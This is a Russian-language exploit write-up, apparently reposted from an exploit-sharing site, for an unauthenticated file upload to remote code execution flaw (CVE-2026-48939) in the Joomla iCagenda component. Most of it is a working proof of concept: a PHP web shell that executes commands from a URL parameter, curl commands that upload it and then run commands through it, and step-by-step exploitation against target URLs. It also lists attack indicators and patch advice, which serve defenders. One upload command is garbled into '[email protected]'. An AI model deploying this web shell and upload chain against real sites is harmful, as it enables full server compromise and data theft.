CVE-2026-48939 - Неаутентифицированная загрузка файла до RCE в iCagenda

Обзор

Описание уязвимости

iCagenda, популярный компонент событий и календаря для Joomla, содержит уязвимость неаутентифицированной загрузки файлов, позволяющую удаленным злоумышленникам загружать и выполнять произвольный PHP-код на сайтах Joomla 6.

Технические подробности

Уязвимость существует в функции прикрепления файлов в форме отправки событий на фронтенде:

1. Отсутствие контроля доступа: Конечная точка отправки (index.php?option=com_icagenda&task=registration.submit) не требует аутентификации, обходя настройку доступа «Только зарегистрированные».

2. Отсутствие проверки файлов: Загруженные файлы сохраняются с исходным расширением без:

   • проверки по белому списку расширений
   • проверки MIME-типа
   • проверки содержимого файла

3. Прямая запись файлов: Файлы записываются в /images/icagenda/frontend/attachments/[filename] непосредственно в корневую директорию веб-сервера.

4. Выполнение PHP: В Joomla 6 загруженные .php файлы являются исполняемыми, что приводит к удаленному выполнению кода (RCE).

Доказательство концепции

Метод 1: Использование curl (одна команда)

# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF

# Upload the shell
curl -k -s \
  -F "title=Test Event" \
  -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
  "https://poloss-jomola.ddev.site/icagenda_submit.php"

# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"

Метод 2: Использование PoC-скрипта

# Navigate to project directory

# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site

Шаги эксплуатации

1. Определите уязвимую конечную точку:

   root@kitploit:~

   https://target.com/index.php?option=com_icagenda&task=submit
   

2. Загрузите PHP веб-шелл:

   root@kitploit:~

   curl -X POST -F "jform[attachment][email protected]" \
     "https://target.com/index.php?option=com_icagenda&task=submit"
   

3. Выполните шелл:

   root@kitploit:~

   curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
   

Воздействие

• Конфиденциальность: Полная потеря конфиденциальности — злоумышленник может прочитать все файлы
• Целостность: Полная потеря целостности — злоумышленник может изменить все данные
• Доступность: Полная потеря доступности — злоумышленник может отказать в обслуживании
• Удаленное выполнение кода: Полная компрометация сервера

Признаки атаки

На основе реальных журналов эксплуатации признаки атаки следующие:

# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"

# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0

Устранение

1. Немедленно: Обновите iCagenda до версии 4.0.8 (или 3.9.15 для старой ветки)
2. Альтернатива: Временно удалите или переименуйте папки com_icagenda
3. Примечание: Снятие компонента с публикации НЕ защищает от этой уязвимости

Ссылки

• iCagenda Zero Day RCE - mysites.guru
• iCagenda Official
• Changelog 4.0.8
• CISA ADP Advisory

Отказ от ответственности

Этот PoC предназначен только для образовательных и авторизованных целей тестирования безопасности. Несанкционированный доступ к компьютерным системам незаконен.